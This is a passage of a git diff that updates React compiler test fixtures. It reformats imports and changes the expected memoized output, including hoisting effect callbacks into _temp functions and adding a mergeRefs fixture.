--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
 let someGlobal = {};
 
@@ -39,57 +39,52 @@ import { useEffect, useState } from "react";
 let someGlobal = {};
 
 function Component() {
-  const $ = _c(7);
+  const $ = _c(6);
   const [state, setState] = useState(someGlobal);
+
+  const setGlobal = _temp;
   let t0;
+  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = () => {
-      someGlobal.value = true;
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const setGlobal = t0;
-  let t1;
-  let t2;
-  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = () => {
       setGlobal();
     };
-    t2 = [];
+    t1 = [];
+    $[0] = t0;
     $[1] = t1;
-    $[2] = t2;
   } else {
+    t0 = $[0];
     t1 = $[1];
-    t2 = $[2];
   }
-  useEffect(t1, t2);
+  useEffect(t0, t1);
+  let t2;
   let t3;
-  let t4;
-  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
-    t3 = () => {
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = () => {
       setState(someGlobal.value);
     };
-    t4 = [someGlobal];
+    t3 = [someGlobal];
+    $[2] = t2;
     $[3] = t3;
-    $[4] = t4;
   } else {
+    t2 = $[2];
     t3 = $[3];
-    t4 = $[4];
   }
-  useEffect(t3, t4);
+  useEffect(t2, t3);
 
-  const t5 = String(state);
-  let t6;
-  if ($[5] !== t5) {
-    t6 = <div>{t5}</div>;
+  const t4 = String(state);
+  let t5;
+  if ($[4] !== t4) {
+    t5 = <div>{t4}</div>;
+    $[4] = t4;
     $[5] = t5;
-    $[6] = t6;
   } else {
-    t6 = $[6];
+    t5 = $[5];
   }
-  return t6;
+  return t5;
+}
+function _temp() {
+  someGlobal.value = true;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect.js
index 49decf4a15a5..dba58e3a65f7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect.js
@@ -1,4 +1,4 @@
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
 let someGlobal = {};
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-unused-usecallback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-unused-usecallback.expect.md
index 24fbe2bf1d53..f5c393c17465 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-unused-usecallback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-unused-usecallback.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useCallback, useEffect, useState } from "react";
+import {useCallback, useEffect, useState} from 'react';
 
 function Component() {
   const callback = useCallback(() => {
@@ -36,6 +36,9 @@ function Component() {
   }
   return t0;
 }
+function _temp() {
+  window.foo = true;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-unused-usecallback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-unused-usecallback.js
index 99543a80a4fa..c7efe18b5252 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-unused-usecallback.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-unused-usecallback.js
@@ -1,4 +1,4 @@
-import { useCallback, useEffect, useState } from "react";
+import {useCallback, useEffect, useState} from 'react';
 
 function Component() {
   const callback = useCallback(() => {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect-indirect.expect.md
index fec286b265aa..4ac51dc56b12 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect-indirect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect-indirect.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
 let someGlobal = false;
 
@@ -39,57 +39,52 @@ import { useEffect, useState } from "react";
 let someGlobal = false;
 
 function Component() {
-  const $ = _c(7);
+  const $ = _c(6);
   const [state, setState] = useState(someGlobal);
+
+  const setGlobal = _temp;
   let t0;
+  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = () => {
-      someGlobal = true;
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const setGlobal = t0;
-  let t1;
-  let t2;
-  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = () => {
       setGlobal();
     };
-    t2 = [];
+    t1 = [];
+    $[0] = t0;
     $[1] = t1;
-    $[2] = t2;
   } else {
+    t0 = $[0];
     t1 = $[1];
-    t2 = $[2];
   }
-  useEffect(t1, t2);
+  useEffect(t0, t1);
+  let t2;
   let t3;
-  let t4;
-  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
-    t3 = () => {
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = () => {
       setState(someGlobal);
     };
-    t4 = [someGlobal];
+    t3 = [someGlobal];
+    $[2] = t2;
     $[3] = t3;
-    $[4] = t4;
   } else {
+    t2 = $[2];
     t3 = $[3];
-    t4 = $[4];
   }
-  useEffect(t3, t4);
+  useEffect(t2, t3);
 
-  const t5 = String(state);
-  let t6;
-  if ($[5] !== t5) {
-    t6 = <div>{t5}</div>;
+  const t4 = String(state);
+  let t5;
+  if ($[4] !== t4) {
+    t5 = <div>{t4}</div>;
+    $[4] = t4;
     $[5] = t5;
-    $[6] = t6;
   } else {
-    t6 = $[6];
+    t5 = $[5];
   }
-  return t6;
+  return t5;
+}
+function _temp() {
+  someGlobal = true;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect-indirect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect-indirect.js
index e7c89eb58d55..ea79ddf776de 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect-indirect.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect-indirect.js
@@ -1,4 +1,4 @@
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
 let someGlobal = false;
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect.expect.md
index e4cd0e22c12f..3733f19d91d5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
 let someGlobal = false;
 
@@ -36,48 +36,44 @@ import { useEffect, useState } from "react";
 let someGlobal = false;
 
 function Component() {
-  const $ = _c(6);
+  const $ = _c(5);
   const [state, setState] = useState(someGlobal);
   let t0;
-  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
-      someGlobal = true;
-    };
-
-    t1 = [];
+    t0 = [];
     $[0] = t0;
-    $[1] = t1;
   } else {
     t0 = $[0];
-    t1 = $[1];
   }
-  useEffect(t0, t1);
+  useEffect(_temp, t0);
+  let t1;
   let t2;
-  let t3;
-  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
-    t2 = () => {
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => {
       setState(someGlobal);
     };
-    t3 = [someGlobal];
+    t2 = [someGlobal];
+    $[1] = t1;
     $[2] = t2;
-    $[3] = t3;
   } else {
+    t1 = $[1];
     t2 = $[2];
-    t3 = $[3];
   }
-  useEffect(t2, t3);
+  useEffect(t1, t2);
 
-  const t4 = String(state);
-  let t5;
-  if ($[4] !== t4) {
-    t5 = <div>{t4}</div>;
+  const t3 = String(state);
+  let t4;
+  if ($[3] !== t3) {
+    t4 = <div>{t3}</div>;
+    $[3] = t3;
     $[4] = t4;
-    $[5] = t5;
   } else {
-    t5 = $[5];
+    t4 = $[4];
   }
-  return t5;
+  return t4;
+}
+function _temp() {
+  someGlobal = true;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect.js
index a360a20ac874..73580fad67c4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-reassignment-in-effect.js
@@ -1,4 +1,4 @@
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
 let someGlobal = false;
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-merge-refs-pattern.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-merge-refs-pattern.expect.md
new file mode 100644
index 000000000000..6933edef4678
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-merge-refs-pattern.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+// @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender
+
+import {useRef} from 'react';
+
+function Component() {
+  const ref = useRef(null);
+  const ref2 = useRef(null);
+  const mergedRef = mergeRefs([ref], ref2);
+
+  return <Stringify ref={mergedRef} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender
+
+import { useRef } from "react";
+
+function Component() {
+  const $ = _c(1);
+  const ref = useRef(null);
+  const ref2 = useRef(null);
+  const mergedRef = mergeRefs([ref], ref2);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <Stringify ref={mergedRef} />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-merge-refs-pattern.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-merge-refs-pattern.js
new file mode 100644
index 000000000000..91c5f0828490
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-merge-refs-pattern.js
@@ -0,0 +1,11 @@
+// @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender
+
+import {useRef} from 'react';
+
+function Component() {
+  const ref = useRef(null);
+  const ref2 = useRef(null);
+  const mergedRef = mergeRefs([ref], ref2);
+
+  return <Stringify ref={mergedRef} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-modify-global-in-callback-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-modify-global-in-callback-jsx.expect.md
index 43ab697f87b5..8a3d0fac9637 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-modify-global-in-callback-jsx.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-modify-global-in-callback-jsx.expect.md
@@ -2,11 +2,12 @@
 ## Input
 
 ```javascript
-import { useMemo } from "react";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
-const someGlobal = { value: 0 };
+const someGlobal = {value: 0};
 
-function Component({ value }) {
+function Component({value}) {
   const onClick = () => {
     someGlobal.value = value;
   };
@@ -17,13 +18,13 @@ function Component({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 0 }],
+  params: [{value: 0}],
   sequentialRenders: [
-    { value: 1 },
-    { value: 1 },
-    { value: 42 },
-    { value: 42 },
-    { value: 0 },
+    {value: 1},
+    {value: 1},
+    {value: 42},
+    {value: 42},
+    {value: 0},
   ],
 };
 
@@ -32,7 +33,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
 import { useMemo } from "react";
 
 const someGlobal = { value: 0 };
@@ -52,15 +53,13 @@ function Component(t0) {
   }
   const onClick = t1;
   let t2;
-  let t3;
   if ($[2] !== onClick) {
-    t3 = <div onClick={onClick}>{someGlobal.value}</div>;
+    t2 = <div onClick={onClick}>{someGlobal.value}</div>;
     $[2] = onClick;
-    $[3] = t3;
+    $[3] = t2;
   } else {
-    t3 = $[3];
+    t2 = $[3];
   }
-  t2 = t3;
   return t2;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-modify-global-in-callback-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-modify-global-in-callback-jsx.js
index 7404b4b6c010..9f0653d9d382 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-modify-global-in-callback-jsx.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-modify-global-in-callback-jsx.js
@@ -1,8 +1,9 @@
-import { useMemo } from "react";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
-const someGlobal = { value: 0 };
+const someGlobal = {value: 0};
 
-function Component({ value }) {
+function Component({value}) {
   const onClick = () => {
     someGlobal.value = value;
   };
@@ -13,12 +14,12 @@ function Component({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 0 }],
+  params: [{value: 0}],
   sequentialRenders: [
-    { value: 1 },
-    { value: 1 },
-    { value: 42 },
-    { value: 42 },
-    { value: 0 },
+    {value: 1},
+    {value: 1},
+    {value: 42},
+    {value: 42},
+    {value: 0},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutate-global-in-effect-fixpoint.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutate-global-in-effect-fixpoint.expect.md
index d5f8643d5b1c..76e4432fe90d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutate-global-in-effect-fixpoint.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutate-global-in-effect-fixpoint.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
-let someGlobal = { value: null };
+let someGlobal = {value: null};
 
 function Component() {
   const [state, setState] = useState(someGlobal);
@@ -19,9 +19,14 @@ function Component() {
 
   // capture into a separate variable that is not a context variable.
   const y = x;
+  /**
+   * Note that this fixture currently produces a stale effect closure if `y = x
+   * = someGlobal` changes between renders. Under current compiler assumptions,
+   * that would be a rule of react violation.
+   */
   useEffect(() => {
-    y.value = "hello";
-  }, []);
+    y.value = 'hello';
+  });
 
   useEffect(() => {
     setState(someGlobal.value);
@@ -46,7 +51,7 @@ import { useEffect, useState } from "react";
 let someGlobal = { value: null };
 
 function Component() {
-  const $ = _c(6);
+  const $ = _c(5);
   const [state, setState] = useState(someGlobal);
 
   let x = someGlobal;
@@ -56,44 +61,40 @@ function Component() {
 
   const y = x;
   let t0;
-  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = () => {
       y.value = "hello";
     };
-    t1 = [];
     $[0] = t0;
-    $[1] = t1;
   } else {
     t0 = $[0];
-    t1 = $[1];
   }
-  useEffect(t0, t1);
+  useEffect(t0);
+  let t1;
   let t2;
-  let t3;
-  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
-    t2 = () => {
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => {
       setState(someGlobal.value);
     };
-    t3 = [someGlobal];
+    t2 = [someGlobal];
+    $[1] = t1;
     $[2] = t2;
-    $[3] = t3;
   } else {
+    t1 = $[1];
     t2 = $[2];
-    t3 = $[3];
   }
-  useEffect(t2, t3);
+  useEffect(t1, t2);
 
-  const t4 = String(state);
-  let t5;
-  if ($[4] !== t4) {
-    t5 = <div>{t4}</div>;
+  const t3 = String(state);
+  let t4;
+  if ($[3] !== t3) {
+    t4 = <div>{t3}</div>;
+    $[3] = t3;
     $[4] = t4;
-    $[5] = t5;
   } else {
-    t5 = $[5];
+    t4 = $[4];
   }
-  return t5;
+  return t4;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutate-global-in-effect-fixpoint.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutate-global-in-effect-fixpoint.js
index a700f096eb43..6e44adf20410 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutate-global-in-effect-fixpoint.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutate-global-in-effect-fixpoint.js
@@ -1,6 +1,6 @@
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
-let someGlobal = { value: null };
+let someGlobal = {value: null};
 
 function Component() {
   const [state, setState] = useState(someGlobal);
@@ -15,9 +15,14 @@ function Component() {
 
   // capture into a separate variable that is not a context variable.
   const y = x;
+  /**
+   * Note that this fixture currently produces a stale effect closure if `y = x
+   * = someGlobal` changes between renders. Under current compiler assumptions,
+   * that would be a rule of react violation.
+   */
   useEffect(() => {
-    y.value = "hello";
-  }, []);
+    y.value = 'hello';
+  });
 
   useEffect(() => {
     setState(someGlobal.value);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx-indirect.expect.md
index 539c9e71ec82..b39077c9535f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx-indirect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx-indirect.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 // @validateRefAccessDuringRender
-import { useRef } from "react";
+import {useRef} from 'react';
 
 function Component() {
   const ref = useRef(null);
 
   const setRef = () => {
     if (ref.current !== null) {
-      ref.current = "";
+      ref.current = '';
     }
   };
 
@@ -40,62 +40,36 @@ import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRen
 import { useRef } from "react";
 
 function Component() {
-  const $ = _c(10);
+  const $ = _c(2);
   const ref = useRef(null);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
+    const setRef = () => {
       if (ref.current !== null) {
         ref.current = "";
       }
     };
+    t0 = () => {
+      setRef();
+    };
     $[0] = t0;
   } else {
     t0 = $[0];
   }
-  const setRef = t0;
+  const onClick = t0;
   let t1;
-  if ($[1] !== setRef) {
-    t1 = () => {
-      setRef();
-    };
-    $[1] = setRef;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  const onClick = t1;
-  let t2;
-  if ($[3] !== ref) {
-    t2 = <input ref={ref} />;
-    $[3] = ref;
-    $[4] = t2;
-  } else {
-    t2 = $[4];
-  }
-  let t3;
-  if ($[5] !== onClick) {
-    t3 = <button onClick={onClick} />;
-    $[5] = onClick;
-    $[6] = t3;
-  } else {
-    t3 = $[6];
-  }
-  let t4;
-  if ($[7] !== t2 || $[8] !== t3) {
-    t4 = (
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = (
       <>
-        {t2}
-        {t3}
+        <input ref={ref} />
+        <button onClick={onClick} />
       </>
     );
-    $[7] = t2;
-    $[8] = t3;
-    $[9] = t4;
+    $[1] = t1;
   } else {
-    t4 = $[9];
+    t1 = $[1];
   }
-  return t4;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx-indirect.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx-indirect.tsx
index 14a5fd9aa5bc..3f6427b40b7e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx-indirect.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx-indirect.tsx
@@ -1,12 +1,12 @@
 // @validateRefAccessDuringRender
-import { useRef } from "react";
+import {useRef} from 'react';
 
 function Component() {
   const ref = useRef(null);
 
   const setRef = () => {
     if (ref.current !== null) {
-      ref.current = "";
+      ref.current = '';
     }
   };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx.expect.md
index 5a70f6c86eec..3b65ecfb8d1a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 // @validateRefAccessDuringRender
-import { useRef } from "react";
+import {useRef} from 'react';
 
 function Component() {
   const ref = useRef(null);
 
   const onClick = () => {
     if (ref.current !== null) {
-      ref.current = "";
+      ref.current = '';
     }
   };
 
@@ -36,7 +36,7 @@ import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRen
 import { useRef } from "react";
 
 function Component() {
-  const $ = _c(8);
+  const $ = _c(2);
   const ref = useRef(null);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
@@ -51,36 +51,18 @@ function Component() {
   }
   const onClick = t0;
   let t1;
-  if ($[1] !== ref) {
-    t1 = <input ref={ref} />;
-    $[1] = ref;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  let t2;
-  if ($[3] !== onClick) {
-    t2 = <button onClick={onClick} />;
-    $[3] = onClick;
-    $[4] = t2;
-  } else {
-    t2 = $[4];
-  }
-  let t3;
-  if ($[5] !== t1 || $[6] !== t2) {
-    t3 = (
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = (
       <>
-        {t1}
-        {t2}
+        <input ref={ref} />
+        <button onClick={onClick} />
       </>
     );
-    $[5] = t1;
-    $[6] = t2;
-    $[7] = t3;
+    $[1] = t1;
   } else {
-    t3 = $[7];
+    t1 = $[1];
   }
-  return t3;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx.tsx
index 74410e119a28..4231ef4e0eda 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-in-callback-passed-to-jsx.tsx
@@ -1,12 +1,12 @@
 // @validateRefAccessDuringRender
-import { useRef } from "react";
+import {useRef} from 'react';
 
 function Component() {
   const ref = useRef(null);
 
   const onClick = () => {
     if (ref.current !== null) {
-      ref.current = "";
+      ref.current = '';
     }
   };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx-indirect.expect.md
index 088ad294ef7b..37407b5cd0be 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx-indirect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx-indirect.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 // @validateRefAccessDuringRender
-import { useRef } from "react";
+import {useRef} from 'react';
 
 function Component() {
   const ref = useRef(null);
 
   const setRef = () => {
     if (ref.current !== null) {
-      ref.current.value = "";
+      ref.current.value = '';
     }
   };
 
@@ -40,62 +40,36 @@ import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRen
 import { useRef } from "react";
 
 function Component() {
-  const $ = _c(10);
+  const $ = _c(2);
   const ref = useRef(null);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
+    const setRef = () => {
       if (ref.current !== null) {
         ref.current.value = "";
       }
     };
+    t0 = () => {
+      setRef();
+    };
     $[0] = t0;
   } else {
     t0 = $[0];
   }
-  const setRef = t0;
+  const onClick = t0;
   let t1;
-  if ($[1] !== setRef) {
-    t1 = () => {
-      setRef();
-    };
-    $[1] = setRef;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  const onClick = t1;
-  let t2;
-  if ($[3] !== ref) {
-    t2 = <input ref={ref} />;
-    $[3] = ref;
-    $[4] = t2;
-  } else {
-    t2 = $[4];
-  }
-  let t3;
-  if ($[5] !== onClick) {
-    t3 = <button onClick={onClick} />;
-    $[5] = onClick;
-    $[6] = t3;
-  } else {
-    t3 = $[6];
-  }
-  let t4;
-  if ($[7] !== t2 || $[8] !== t3) {
-    t4 = (
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = (
       <>
-        {t2}
-        {t3}
+        <input ref={ref} />
+        <button onClick={onClick} />
       </>
     );
-    $[7] = t2;
-    $[8] = t3;
-    $[9] = t4;
+    $[1] = t1;
   } else {
-    t4 = $[9];
+    t1 = $[1];
   }
-  return t4;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx-indirect.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx-indirect.tsx
index 87cc6d42446b..ed96f87a98a4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx-indirect.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx-indirect.tsx
@@ -1,12 +1,12 @@
 // @validateRefAccessDuringRender
-import { useRef } from "react";
+import {useRef} from 'react';
 
 function Component() {
   const ref = useRef(null);
 
   const setRef = () => {
     if (ref.current !== null) {
-      ref.current.value = "";
+      ref.current.value = '';
     }
   };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx.expect.md
index f0c115952fa6..0d8ac787e5c8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
